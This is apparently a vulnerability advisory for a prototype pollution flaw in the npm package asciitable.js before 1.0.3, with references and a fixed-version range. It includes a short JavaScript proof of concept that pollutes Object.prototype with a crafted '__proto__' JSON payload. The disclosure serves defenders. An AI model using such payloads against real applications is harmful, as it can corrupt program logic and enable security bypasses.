GHSA-5pxj-mhwj-x5gv
Dashboard / Vulnerabilities / GHSA-5pxj-mhwj-x5gv
GHSA-5pxj-mhwj-x5gv
Published: 13 Apr 2021Last Modified: 10 Sept 2026
Summary: Prototype Pollution in asciitable.js
Details: The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```
References: https://nvd.nist.gov/vuln/detail/CVE-2020-7771, https://github.com/victornpb/asciitable.js/pull/1, https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab, https://github.com/victornpb/asciitable.js, https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799
Affected packages
Package
Name: asciitable.js
Purl: pkg:npm/asciitable.js
Affected ranges
Type: SEMVER
Events:
Introduced- 0
Fixed -1.0.3
Affected versions
Common Vulnerability Scoring System
Attack Vector
Network
Adjacent
Local
Physical
Privileges Required
None
Low
High
User Interaction
None
Required
Scope
Unchanged
Changed
Confidentiality
None
Low
High
Integrity
None
Low
High
Availability
None
Low
High
